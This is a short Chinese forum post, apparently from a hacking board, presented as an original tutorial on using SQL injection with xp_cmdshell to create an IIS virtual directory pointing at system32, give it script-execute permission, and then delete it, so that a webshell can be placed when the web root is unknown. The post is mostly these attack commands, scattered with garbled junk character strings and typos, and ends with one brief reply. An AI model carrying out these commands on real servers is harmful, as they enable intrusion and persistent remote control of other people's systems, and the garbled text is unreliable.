[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
: I$ r; V+ N9 l/ z8 y4 y# P
3 l( ^' |: F' R# }) Texec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
6 U4 Y2 r" U% O. M; w建立虚拟目录win,指向c:\windows\system326 J9 f- a1 t; x& s: w" [
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
4 K0 Q4 m0 P4 i让win句有解析asp脚本权限
% X5 d  g% h9 x/ z/ o' B" }+ E# w  N$ G
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"8 z( H% `! _; D9 n
删除虚拟目录。3 @1 P4 b+ w) p8 e9 y
找不到web绝对路径的一种解决办法，/ E/ u4 ]: a) u

! u0 k  u7 V- l) \8 F4 y, j5 y403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊